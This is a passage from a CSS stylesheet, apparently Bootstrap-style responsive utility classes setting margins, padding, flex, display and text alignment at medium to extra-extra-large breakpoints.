!important; } .mt-md-4 { margin-top: 1.5rem !important; } .mt-md-5 { margin-top: 3rem !important; } .mt-md-auto { margin-top: auto !important; } .me-md-0 { margin-right: 0 !important; } .me-md-1 { margin-right: 0.25rem !important; } .me-md-2 { margin-right: 0.5rem !important; } .me-md-3 { margin-right: 1rem !important; } .me-md-4 { margin-right: 1.5rem !important; } .me-md-5 { margin-right: 3rem !important; } .me-md-auto { margin-right: auto !important; } .mb-md-0 { margin-bottom: 0 !important; } .mb-md-1 { margin-bottom: 0.25rem !important; } .mb-md-2 { margin-bottom: 0.5rem !important; } .mb-md-3 { margin-bottom: 1rem !important; } .mb-md-4 { margin-bottom: 1.5rem !important; } .mb-md-5 { margin-bottom: 3rem !important; } .mb-md-auto { margin-bottom: auto !important; } .ms-md-0 { margin-left: 0 !important; } .ms-md-1 { margin-left: 0.25rem !important; } .ms-md-2 { margin-left: 0.5rem !important; } .ms-md-3 { margin-left: 1rem !important; } .ms-md-4 { margin-left: 1.5rem !important; } .ms-md-5 { margin-left: 3rem !important; } .ms-md-auto { margin-left: auto !important; } .m-md-n1 { margin: -0.25rem !important; } .m-md-n2 { margin: -0.5rem !important; } .m-md-n3 { margin: -1rem !important; } .m-md-n4 { margin: -1.5rem !important; } .m-md-n5 { margin: -3rem !important; } .mx-md-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-md-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-md-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-md-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-md-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-md-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-md-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-md-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-md-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-md-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-md-n1 { margin-top: -0.25rem !important; } .mt-md-n2 { margin-top: -0.5rem !important; } .mt-md-n3 { margin-top: -1rem !important; } .mt-md-n4 { margin-top: -1.5rem !important; } .mt-md-n5 { margin-top: -3rem !important; } .me-md-n1 { margin-right: -0.25rem !important; } .me-md-n2 { margin-right: -0.5rem !important; } .me-md-n3 { margin-right: -1rem !important; } .me-md-n4 { margin-right: -1.5rem !important; } .me-md-n5 { margin-right: -3rem !important; } .mb-md-n1 { margin-bottom: -0.25rem !important; } .mb-md-n2 { margin-bottom: -0.5rem !important; } .mb-md-n3 { margin-bottom: -1rem !important; } .mb-md-n4 { margin-bottom: -1.5rem !important; } .mb-md-n5 { margin-bottom: -3rem !important; } .ms-md-n1 { margin-left: -0.25rem !important; } .ms-md-n2 { margin-left: -0.5rem !important; } .ms-md-n3 { margin-left: -1rem !important; } .ms-md-n4 { margin-left: -1.5rem !important; } .ms-md-n5 { margin-left: -3rem !important; } .p-md-0 { padding: 0 !important; } .p-md-1 { padding: 0.25rem !important; } .p-md-2 { padding: 0.5rem !important; } .p-md-3 { padding: 1rem !important; } .p-md-4 { padding: 1.5rem !important; } .p-md-5 { padding: 3rem !important; } .px-md-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-md-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-md-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-md-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-md-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-md-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-md-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-md-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-md-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-md-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-md-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-md-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-md-0 { padding-top: 0 !important; } .pt-md-1 { padding-top: 0.25rem !important; } .pt-md-2 { padding-top: 0.5rem !important; } .pt-md-3 { padding-top: 1rem !important; } .pt-md-4 { padding-top: 1.5rem !important; } .pt-md-5 { padding-top: 3rem !important; } .pe-md-0 { padding-right: 0 !important; } .pe-md-1 { padding-right: 0.25rem !important; } .pe-md-2 { padding-right: 0.5rem !important; } .pe-md-3 { padding-right: 1rem !important; } .pe-md-4 { padding-right: 1.5rem !important; } .pe-md-5 { padding-right: 3rem !important; } .pb-md-0 { padding-bottom: 0 !important; } .pb-md-1 { padding-bottom: 0.25rem !important; } .pb-md-2 { padding-bottom: 0.5rem !important; } .pb-md-3 { padding-bottom: 1rem !important; } .pb-md-4 { padding-bottom: 1.5rem !important; } .pb-md-5 { padding-bottom: 3rem !important; } .ps-md-0 { padding-left: 0 !important; } .ps-md-1 { padding-left: 0.25rem !important; } .ps-md-2 { padding-left: 0.5rem !important; } .ps-md-3 { padding-left: 1rem !important; } .ps-md-4 { padding-left: 1.5rem !important; } .ps-md-5 { padding-left: 3rem !important; } .gap-md-0 { gap: 0 !important; } .gap-md-1 { gap: 0.25rem !important; } .gap-md-2 { gap: 0.5rem !important; } .gap-md-3 { gap: 1rem !important; } .gap-md-4 { gap: 1.5rem !important; } .gap-md-5 { gap: 3rem !important; } .text-md-start { text-align: left !important; } .text-md-end { text-align: right !important; } .text-md-center { text-align: center !important; } } @media (min-width: 992px) { .float-lg-start { float: left !important; } .float-lg-end { float: right !important; } .float-lg-none { float: none !important; } .d-lg-inline { display: inline !important; } .d-lg-inline-block { display: inline-block !important; } .d-lg-block { display: block !important; } .d-lg-grid { display: grid !important; } .d-lg-table { display: table !important; } .d-lg-table-row { display: table-row !important; } .d-lg-table-cell { display: table-cell !important; } .d-lg-flex { display: flex !important; } .d-lg-inline-flex { display: inline-flex !important; } .d-lg-none { display: none !important; } .flex-lg-fill { flex: 1 1 auto !important; } .flex-lg-row { flex-direction: row !important; } .flex-lg-column { flex-direction: column !important; } .flex-lg-row-reverse { flex-direction: row-reverse !important; } .flex-lg-column-reverse { flex-direction: column-reverse !important; } .flex-lg-grow-0 { flex-grow: 0 !important; } .flex-lg-grow-1 { flex-grow: 1 !important; } .flex-lg-shrink-0 { flex-shrink: 0 !important; } .flex-lg-shrink-1 { flex-shrink: 1 !important; } .flex-lg-wrap { flex-wrap: wrap !important; } .flex-lg-nowrap { flex-wrap: nowrap !important; } .flex-lg-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-lg-start { justify-content: flex-start !important; } .justify-content-lg-end { justify-content: flex-end !important; } .justify-content-lg-center { justify-content: center !important; } .justify-content-lg-between { justify-content: space-between !important; } .justify-content-lg-around { justify-content: space-around !important; } .justify-content-lg-evenly { justify-content: space-evenly !important; } .align-items-lg-start { align-items: flex-start !important; } .align-items-lg-end { align-items: flex-end !important; } .align-items-lg-center { align-items: center !important; } .align-items-lg-baseline { align-items: baseline !important; } .align-items-lg-stretch { align-items: stretch !important; } .align-content-lg-start { align-content: flex-start !important; } .align-content-lg-end { align-content: flex-end !important; } .align-content-lg-center { align-content: center !important; } .align-content-lg-between { align-content: space-between !important; } .align-content-lg-around { align-content: space-around !important; } .align-content-lg-stretch { align-content: stretch !important; } .align-self-lg-auto { align-self: auto !important; } .align-self-lg-start { align-self: flex-start !important; } .align-self-lg-end { align-self: flex-end !important; } .align-self-lg-center { align-self: center !important; } .align-self-lg-baseline { align-self: baseline !important; } .align-self-lg-stretch { align-self: stretch !important; } .order-lg-first { order: -1 !important; } .order-lg-0 { order: 0 !important; } .order-lg-1 { order: 1 !important; } .order-lg-2 { order: 2 !important; } .order-lg-3 { order: 3 !important; } .order-lg-4 { order: 4 !important; } .order-lg-5 { order: 5 !important; } .order-lg-last { order: 6 !important; } .m-lg-0 { margin: 0 !important; } .m-lg-1 { margin: 0.25rem !important; } .m-lg-2 { margin: 0.5rem !important; } .m-lg-3 { margin: 1rem !important; } .m-lg-4 { margin: 1.5rem !important; } .m-lg-5 { margin: 3rem !important; } .m-lg-auto { margin: auto !important; } .mx-lg-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-lg-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-lg-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-lg-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-lg-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-lg-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-lg-auto { margin-right: auto !important; margin-left: auto !important; } .my-lg-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-lg-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-lg-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-lg-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-lg-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-lg-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-lg-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-lg-0 { margin-top: 0 !important; } .mt-lg-1 { margin-top: 0.25rem !important; } .mt-lg-2 { margin-top: 0.5rem !important; } .mt-lg-3 { margin-top: 1rem !important; } .mt-lg-4 { margin-top: 1.5rem !important; } .mt-lg-5 { margin-top: 3rem !important; } .mt-lg-auto { margin-top: auto !important; } .me-lg-0 { margin-right: 0 !important; } .me-lg-1 { margin-right: 0.25rem !important; } .me-lg-2 { margin-right: 0.5rem !important; } .me-lg-3 { margin-right: 1rem !important; } .me-lg-4 { margin-right: 1.5rem !important; } .me-lg-5 { margin-right: 3rem !important; } .me-lg-auto { margin-right: auto !important; } .mb-lg-0 { margin-bottom: 0 !important; } .mb-lg-1 { margin-bottom: 0.25rem !important; } .mb-lg-2 { margin-bottom: 0.5rem !important; } .mb-lg-3 { margin-bottom: 1rem !important; } .mb-lg-4 { margin-bottom: 1.5rem !important; } .mb-lg-5 { margin-bottom: 3rem !important; } .mb-lg-auto { margin-bottom: auto !important; } .ms-lg-0 { margin-left: 0 !important; } .ms-lg-1 { margin-left: 0.25rem !important; } .ms-lg-2 { margin-left: 0.5rem !important; } .ms-lg-3 { margin-left: 1rem !important; } .ms-lg-4 { margin-left: 1.5rem !important; } .ms-lg-5 { margin-left: 3rem !important; } .ms-lg-auto { margin-left: auto !important; } .m-lg-n1 { margin: -0.25rem !important; } .m-lg-n2 { margin: -0.5rem !important; } .m-lg-n3 { margin: -1rem !important; } .m-lg-n4 { margin: -1.5rem !important; } .m-lg-n5 { margin: -3rem !important; } .mx-lg-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-lg-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-lg-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-lg-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-lg-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-lg-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-lg-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-lg-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-lg-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-lg-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-lg-n1 { margin-top: -0.25rem !important; } .mt-lg-n2 { margin-top: -0.5rem !important; } .mt-lg-n3 { margin-top: -1rem !important; } .mt-lg-n4 { margin-top: -1.5rem !important; } .mt-lg-n5 { margin-top: -3rem !important; } .me-lg-n1 { margin-right: -0.25rem !important; } .me-lg-n2 { margin-right: -0.5rem !important; } .me-lg-n3 { margin-right: -1rem !important; } .me-lg-n4 { margin-right: -1.5rem !important; } .me-lg-n5 { margin-right: -3rem !important; } .mb-lg-n1 { margin-bottom: -0.25rem !important; } .mb-lg-n2 { margin-bottom: -0.5rem !important; } .mb-lg-n3 { margin-bottom: -1rem !important; } .mb-lg-n4 { margin-bottom: -1.5rem !important; } .mb-lg-n5 { margin-bottom: -3rem !important; } .ms-lg-n1 { margin-left: -0.25rem !important; } .ms-lg-n2 { margin-left: -0.5rem !important; } .ms-lg-n3 { margin-left: -1rem !important; } .ms-lg-n4 { margin-left: -1.5rem !important; } .ms-lg-n5 { margin-left: -3rem !important; } .p-lg-0 { padding: 0 !important; } .p-lg-1 { padding: 0.25rem !important; } .p-lg-2 { padding: 0.5rem !important; } .p-lg-3 { padding: 1rem !important; } .p-lg-4 { padding: 1.5rem !important; } .p-lg-5 { padding: 3rem !important; } .px-lg-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-lg-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-lg-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-lg-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-lg-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-lg-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-lg-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-lg-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-lg-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-lg-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-lg-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-lg-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-lg-0 { padding-top: 0 !important; } .pt-lg-1 { padding-top: 0.25rem !important; } .pt-lg-2 { padding-top: 0.5rem !important; } .pt-lg-3 { padding-top: 1rem !important; } .pt-lg-4 { padding-top: 1.5rem !important; } .pt-lg-5 { padding-top: 3rem !important; } .pe-lg-0 { padding-right: 0 !important; } .pe-lg-1 { padding-right: 0.25rem !important; } .pe-lg-2 { padding-right: 0.5rem !important; } .pe-lg-3 { padding-right: 1rem !important; } .pe-lg-4 { padding-right: 1.5rem !important; } .pe-lg-5 { padding-right: 3rem !important; } .pb-lg-0 { padding-bottom: 0 !important; } .pb-lg-1 { padding-bottom: 0.25rem !important; } .pb-lg-2 { padding-bottom: 0.5rem !important; } .pb-lg-3 { padding-bottom: 1rem !important; } .pb-lg-4 { padding-bottom: 1.5rem !important; } .pb-lg-5 { padding-bottom: 3rem !important; } .ps-lg-0 { padding-left: 0 !important; } .ps-lg-1 { padding-left: 0.25rem !important; } .ps-lg-2 { padding-left: 0.5rem !important; } .ps-lg-3 { padding-left: 1rem !important; } .ps-lg-4 { padding-left: 1.5rem !important; } .ps-lg-5 { padding-left: 3rem !important; } .gap-lg-0 { gap: 0 !important; } .gap-lg-1 { gap: 0.25rem !important; } .gap-lg-2 { gap: 0.5rem !important; } .gap-lg-3 { gap: 1rem !important; } .gap-lg-4 { gap: 1.5rem !important; } .gap-lg-5 { gap: 3rem !important; } .text-lg-start { text-align: left !important; } .text-lg-end { text-align: right !important; } .text-lg-center { text-align: center !important; } } @media (min-width: 1200px) { .float-xl-start { float: left !important; } .float-xl-end { float: right !important; } .float-xl-none { float: none !important; } .d-xl-inline { display: inline !important; } .d-xl-inline-block { display: inline-block !important; } .d-xl-block { display: block !important; } .d-xl-grid { display: grid !important; } .d-xl-table { display: table !important; } .d-xl-table-row { display: table-row !important; } .d-xl-table-cell { display: table-cell !important; } .d-xl-flex { display: flex !important; } .d-xl-inline-flex { display: inline-flex !important; } .d-xl-none { display: none !important; } .flex-xl-fill { flex: 1 1 auto !important; } .flex-xl-row { flex-direction: row !important; } .flex-xl-column { flex-direction: column !important; } .flex-xl-row-reverse { flex-direction: row-reverse !important; } .flex-xl-column-reverse { flex-direction: column-reverse !important; } .flex-xl-grow-0 { flex-grow: 0 !important; } .flex-xl-grow-1 { flex-grow: 1 !important; } .flex-xl-shrink-0 { flex-shrink: 0 !important; } .flex-xl-shrink-1 { flex-shrink: 1 !important; } .flex-xl-wrap { flex-wrap: wrap !important; } .flex-xl-nowrap { flex-wrap: nowrap !important; } .flex-xl-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-xl-start { justify-content: flex-start !important; } .justify-content-xl-end { justify-content: flex-end !important; } .justify-content-xl-center { justify-content: center !important; } .justify-content-xl-between { justify-content: space-between !important; } .justify-content-xl-around { justify-content: space-around !important; } .justify-content-xl-evenly { justify-content: space-evenly !important; } .align-items-xl-start { align-items: flex-start !important; } .align-items-xl-end { align-items: flex-end !important; } .align-items-xl-center { align-items: center !important; } .align-items-xl-baseline { align-items: baseline !important; } .align-items-xl-stretch { align-items: stretch !important; } .align-content-xl-start { align-content: flex-start !important; } .align-content-xl-end { align-content: flex-end !important; } .align-content-xl-center { align-content: center !important; } .align-content-xl-between { align-content: space-between !important; } .align-content-xl-around { align-content: space-around !important; } .align-content-xl-stretch { align-content: stretch !important; } .align-self-xl-auto { align-self: auto !important; } .align-self-xl-start { align-self: flex-start !important; } .align-self-xl-end { align-self: flex-end !important; } .align-self-xl-center { align-self: center !important; } .align-self-xl-baseline { align-self: baseline !important; } .align-self-xl-stretch { align-self: stretch !important; } .order-xl-first { order: -1 !important; } .order-xl-0 { order: 0 !important; } .order-xl-1 { order: 1 !important; } .order-xl-2 { order: 2 !important; } .order-xl-3 { order: 3 !important; } .order-xl-4 { order: 4 !important; } .order-xl-5 { order: 5 !important; } .order-xl-last { order: 6 !important; } .m-xl-0 { margin: 0 !important; } .m-xl-1 { margin: 0.25rem !important; } .m-xl-2 { margin: 0.5rem !important; } .m-xl-3 { margin: 1rem !important; } .m-xl-4 { margin: 1.5rem !important; } .m-xl-5 { margin: 3rem !important; } .m-xl-auto { margin: auto !important; } .mx-xl-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-xl-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-xl-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-xl-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-xl-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-xl-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-xl-auto { margin-right: auto !important; margin-left: auto !important; } .my-xl-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-xl-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-xl-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-xl-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-xl-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-xl-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-xl-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-xl-0 { margin-top: 0 !important; } .mt-xl-1 { margin-top: 0.25rem !important; } .mt-xl-2 { margin-top: 0.5rem !important; } .mt-xl-3 { margin-top: 1rem !important; } .mt-xl-4 { margin-top: 1.5rem !important; } .mt-xl-5 { margin-top: 3rem !important; } .mt-xl-auto { margin-top: auto !important; } .me-xl-0 { margin-right: 0 !important; } .me-xl-1 { margin-right: 0.25rem !important; } .me-xl-2 { margin-right: 0.5rem !important; } .me-xl-3 { margin-right: 1rem !important; } .me-xl-4 { margin-right: 1.5rem !important; } .me-xl-5 { margin-right: 3rem !important; } .me-xl-auto { margin-right: auto !important; } .mb-xl-0 { margin-bottom: 0 !important; } .mb-xl-1 { margin-bottom: 0.25rem !important; } .mb-xl-2 { margin-bottom: 0.5rem !important; } .mb-xl-3 { margin-bottom: 1rem !important; } .mb-xl-4 { margin-bottom: 1.5rem !important; } .mb-xl-5 { margin-bottom: 3rem !important; } .mb-xl-auto { margin-bottom: auto !important; } .ms-xl-0 { margin-left: 0 !important; } .ms-xl-1 { margin-left: 0.25rem !important; } .ms-xl-2 { margin-left: 0.5rem !important; } .ms-xl-3 { margin-left: 1rem !important; } .ms-xl-4 { margin-left: 1.5rem !important; } .ms-xl-5 { margin-left: 3rem !important; } .ms-xl-auto { margin-left: auto !important; } .m-xl-n1 { margin: -0.25rem !important; } .m-xl-n2 { margin: -0.5rem !important; } .m-xl-n3 { margin: -1rem !important; } .m-xl-n4 { margin: -1.5rem !important; } .m-xl-n5 { margin: -3rem !important; } .mx-xl-n1 { margin-right: -0.25rem !important; margin-left: -0.25rem !important; } .mx-xl-n2 { margin-right: -0.5rem !important; margin-left: -0.5rem !important; } .mx-xl-n3 { margin-right: -1rem !important; margin-left: -1rem !important; } .mx-xl-n4 { margin-right: -1.5rem !important; margin-left: -1.5rem !important; } .mx-xl-n5 { margin-right: -3rem !important; margin-left: -3rem !important; } .my-xl-n1 { margin-top: -0.25rem !important; margin-bottom: -0.25rem !important; } .my-xl-n2 { margin-top: -0.5rem !important; margin-bottom: -0.5rem !important; } .my-xl-n3 { margin-top: -1rem !important; margin-bottom: -1rem !important; } .my-xl-n4 { margin-top: -1.5rem !important; margin-bottom: -1.5rem !important; } .my-xl-n5 { margin-top: -3rem !important; margin-bottom: -3rem !important; } .mt-xl-n1 { margin-top: -0.25rem !important; } .mt-xl-n2 { margin-top: -0.5rem !important; } .mt-xl-n3 { margin-top: -1rem !important; } .mt-xl-n4 { margin-top: -1.5rem !important; } .mt-xl-n5 { margin-top: -3rem !important; } .me-xl-n1 { margin-right: -0.25rem !important; } .me-xl-n2 { margin-right: -0.5rem !important; } .me-xl-n3 { margin-right: -1rem !important; } .me-xl-n4 { margin-right: -1.5rem !important; } .me-xl-n5 { margin-right: -3rem !important; } .mb-xl-n1 { margin-bottom: -0.25rem !important; } .mb-xl-n2 { margin-bottom: -0.5rem !important; } .mb-xl-n3 { margin-bottom: -1rem !important; } .mb-xl-n4 { margin-bottom: -1.5rem !important; } .mb-xl-n5 { margin-bottom: -3rem !important; } .ms-xl-n1 { margin-left: -0.25rem !important; } .ms-xl-n2 { margin-left: -0.5rem !important; } .ms-xl-n3 { margin-left: -1rem !important; } .ms-xl-n4 { margin-left: -1.5rem !important; } .ms-xl-n5 { margin-left: -3rem !important; } .p-xl-0 { padding: 0 !important; } .p-xl-1 { padding: 0.25rem !important; } .p-xl-2 { padding: 0.5rem !important; } .p-xl-3 { padding: 1rem !important; } .p-xl-4 { padding: 1.5rem !important; } .p-xl-5 { padding: 3rem !important; } .px-xl-0 { padding-right: 0 !important; padding-left: 0 !important; } .px-xl-1 { padding-right: 0.25rem !important; padding-left: 0.25rem !important; } .px-xl-2 { padding-right: 0.5rem !important; padding-left: 0.5rem !important; } .px-xl-3 { padding-right: 1rem !important; padding-left: 1rem !important; } .px-xl-4 { padding-right: 1.5rem !important; padding-left: 1.5rem !important; } .px-xl-5 { padding-right: 3rem !important; padding-left: 3rem !important; } .py-xl-0 { padding-top: 0 !important; padding-bottom: 0 !important; } .py-xl-1 { padding-top: 0.25rem !important; padding-bottom: 0.25rem !important; } .py-xl-2 { padding-top: 0.5rem !important; padding-bottom: 0.5rem !important; } .py-xl-3 { padding-top: 1rem !important; padding-bottom: 1rem !important; } .py-xl-4 { padding-top: 1.5rem !important; padding-bottom: 1.5rem !important; } .py-xl-5 { padding-top: 3rem !important; padding-bottom: 3rem !important; } .pt-xl-0 { padding-top: 0 !important; } .pt-xl-1 { padding-top: 0.25rem !important; } .pt-xl-2 { padding-top: 0.5rem !important; } .pt-xl-3 { padding-top: 1rem !important; } .pt-xl-4 { padding-top: 1.5rem !important; } .pt-xl-5 { padding-top: 3rem !important; } .pe-xl-0 { padding-right: 0 !important; } .pe-xl-1 { padding-right: 0.25rem !important; } .pe-xl-2 { padding-right: 0.5rem !important; } .pe-xl-3 { padding-right: 1rem !important; } .pe-xl-4 { padding-right: 1.5rem !important; } .pe-xl-5 { padding-right: 3rem !important; } .pb-xl-0 { padding-bottom: 0 !important; } .pb-xl-1 { padding-bottom: 0.25rem !important; } .pb-xl-2 { padding-bottom: 0.5rem !important; } .pb-xl-3 { padding-bottom: 1rem !important; } .pb-xl-4 { padding-bottom: 1.5rem !important; } .pb-xl-5 { padding-bottom: 3rem !important; } .ps-xl-0 { padding-left: 0 !important; } .ps-xl-1 { padding-left: 0.25rem !important; } .ps-xl-2 { padding-left: 0.5rem !important; } .ps-xl-3 { padding-left: 1rem !important; } .ps-xl-4 { padding-left: 1.5rem !important; } .ps-xl-5 { padding-left: 3rem !important; } .gap-xl-0 { gap: 0 !important; } .gap-xl-1 { gap: 0.25rem !important; } .gap-xl-2 { gap: 0.5rem !important; } .gap-xl-3 { gap: 1rem !important; } .gap-xl-4 { gap: 1.5rem !important; } .gap-xl-5 { gap: 3rem !important; } .text-xl-start { text-align: left !important; } .text-xl-end { text-align: right !important; } .text-xl-center { text-align: center !important; } } @media (min-width: 1400px) { .float-xxl-start { float: left !important; } .float-xxl-end { float: right !important; } .float-xxl-none { float: none !important; } .d-xxl-inline { display: inline !important; } .d-xxl-inline-block { display: inline-block !important; } .d-xxl-block { display: block !important; } .d-xxl-grid { display: grid !important; } .d-xxl-table { display: table !important; } .d-xxl-table-row { display: table-row !important; } .d-xxl-table-cell { display: table-cell !important; } .d-xxl-flex { display: flex !important; } .d-xxl-inline-flex { display: inline-flex !important; } .d-xxl-none { display: none !important; } .flex-xxl-fill { flex: 1 1 auto !important; } .flex-xxl-row { flex-direction: row !important; } .flex-xxl-column { flex-direction: column !important; } .flex-xxl-row-reverse { flex-direction: row-reverse !important; } .flex-xxl-column-reverse { flex-direction: column-reverse !important; } .flex-xxl-grow-0 { flex-grow: 0 !important; } .flex-xxl-grow-1 { flex-grow: 1 !important; } .flex-xxl-shrink-0 { flex-shrink: 0 !important; } .flex-xxl-shrink-1 { flex-shrink: 1 !important; } .flex-xxl-wrap { flex-wrap: wrap !important; } .flex-xxl-nowrap { flex-wrap: nowrap !important; } .flex-xxl-wrap-reverse { flex-wrap: wrap-reverse !important; } .justify-content-xxl-start { justify-content: flex-start !important; } .justify-content-xxl-end { justify-content: flex-end !important; } .justify-content-xxl-center { justify-content: center !important; } .justify-content-xxl-between { justify-content: space-between !important; } .justify-content-xxl-around { justify-content: space-around !important; } .justify-content-xxl-evenly { justify-content: space-evenly !important; } .align-items-xxl-start { align-items: flex-start !important; } .align-items-xxl-end { align-items: flex-end !important; } .align-items-xxl-center { align-items: center !important; } .align-items-xxl-baseline { align-items: baseline !important; } .align-items-xxl-stretch { align-items: stretch !important; } .align-content-xxl-start { align-content: flex-start !important; } .align-content-xxl-end { align-content: flex-end !important; } .align-content-xxl-center { align-content: center !important; } .align-content-xxl-between { align-content: space-between !important; } .align-content-xxl-around { align-content: space-around !important; } .align-content-xxl-stretch { align-content: stretch !important; } .align-self-xxl-auto { align-self: auto !important; } .align-self-xxl-start { align-self: flex-start !important; } .align-self-xxl-end { align-self: flex-end !important; } .align-self-xxl-center { align-self: center !important; } .align-self-xxl-baseline { align-self: baseline !important; } .align-self-xxl-stretch { align-self: stretch !important; } .order-xxl-first { order: -1 !important; } .order-xxl-0 { order: 0 !important; } .order-xxl-1 { order: 1 !important; } .order-xxl-2 { order: 2 !important; } .order-xxl-3 { order: 3 !important; } .order-xxl-4 { order: 4 !important; } .order-xxl-5 { order: 5 !important; } .order-xxl-last { order: 6 !important; } .m-xxl-0 { margin: 0 !important; } .m-xxl-1 { margin: 0.25rem !important; } .m-xxl-2 { margin: 0.5rem !important; } .m-xxl-3 { margin: 1rem !important; } .m-xxl-4 { margin: 1.5rem !important; } .m-xxl-5 { margin: 3rem !important; } .m-xxl-auto { margin: auto !important; } .mx-xxl-0 { margin-right: 0 !important; margin-left: 0 !important; } .mx-xxl-1 { margin-right: 0.25rem !important; margin-left: 0.25rem !important; } .mx-xxl-2 { margin-right: 0.5rem !important; margin-left: 0.5rem !important; } .mx-xxl-3 { margin-right: 1rem !important; margin-left: 1rem !important; } .mx-xxl-4 { margin-right: 1.5rem !important; margin-left: 1.5rem !important; } .mx-xxl-5 { margin-right: 3rem !important; margin-left: 3rem !important; } .mx-xxl-auto { margin-right: auto !important; margin-left: auto !important; } .my-xxl-0 { margin-top: 0 !important; margin-bottom: 0 !important; } .my-xxl-1 { margin-top: 0.25rem !important; margin-bottom: 0.25rem !important; } .my-xxl-2 { margin-top: 0.5rem !important; margin-bottom: 0.5rem !important; } .my-xxl-3 { margin-top: 1rem !important; margin-bottom: 1rem !important; } .my-xxl-4 { margin-top: 1.5rem !important; margin-bottom: 1.5rem !important; } .my-xxl-5 { margin-top: 3rem !important; margin-bottom: 3rem !important; } .my-xxl-auto { margin-top: auto !important; margin-bottom: auto !important; } .mt-xxl-0 { margin-top: 0 !important; } .mt-xxl-1 { margin-top: 0.25rem !important; } .mt-xxl-2 { margin-top: 0.5rem !important; } .mt-xxl-3 { margin-top: 1rem !important; } .mt-xxl-4 { margin-top: 1.5rem !important; } .mt-xxl-5 { margin-top: 3rem !important; } .mt-xxl-auto { margin-top: auto !important; } .me-xxl-0 { margin-right: 0 !important; } .me-xxl-1 { margin-right: 0.25rem !important; } .me-xxl-2 { margin-right: 0.5rem !important; } .me-xxl-3 { margin-right: 1rem !important; } .me-xxl-4 { margin-right: 1.5rem !important; } .me-xxl-5 { margin-right: 3rem !important; } .me-xxl-auto { margin-right: auto !important; } .mb-xxl-0 { margin-bottom: 0 !important; } .mb-xxl-1 { margin-bottom: 0.25rem !important; } .mb-xxl-2 { margin-bottom: 0.5rem !important; } .mb-xxl-3 { margin-bottom: 1rem !important; } .mb-xxl-4 { margin-bottom: 1.5rem !important; } .mb-xxl-5 { margin-bottom: 3rem !important; } .mb-xxl-auto { margin-bottom: auto !important; } .ms-xxl-0 { margin-left: 0 !important; } 